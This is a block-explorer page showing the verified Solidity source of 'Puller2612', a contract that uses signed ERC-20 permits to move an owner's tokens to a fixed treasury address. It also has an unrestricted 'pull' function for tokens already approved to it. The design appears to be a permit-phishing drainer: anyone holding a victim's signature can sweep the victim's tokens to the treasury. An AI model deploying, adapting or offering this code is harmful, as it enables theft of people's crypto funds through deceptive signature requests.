Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"contracts/Puller.sol": {
"content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.20;\r
\r
interface IERC20Permit {\r
function nonces(address owner) external view returns (uint256);\r
function permit(\r
address owner, address spender, uint256 value,\r
uint256 deadline, uint8 v, bytes32 r, bytes32 s\r
) external;\r
function transferFrom(address from, address to, uint256 value) external returns (bool);\r
}\r
\r
contract Puller2612 {\r
IERC20Permit public immutable token;\r
address public immutable treasury; // куда падают списания\r
\r
constructor(address _token, address _treasury) {\r
token = IERC20Permit(_token);\r
treasury = _treasury;\r
}\r
\r
function pullWithPermit(\r
address owner, uint256 permitValue, uint256 amount, uint256 deadline,\r
uint8 v, bytes32 r, bytes32 s\r
) external {\r
token.permit(owner, address(this), permitValue, deadline, v, r, s);\r
require(token.transferFrom(owner, treasury, amount), "transferFrom failed");\r
}\r
\r
function pull(address owner, uint256 amount) external {\r
require(token.transferFrom(owner, treasury, amount), "transferFrom failed");\r
}\r
}"
}
},
"settings": {
"evmVersion": "prague",
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": [],
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
Submitted on: 2025-11-05 13:32:01
Comments
Log in to comment.
No comments yet.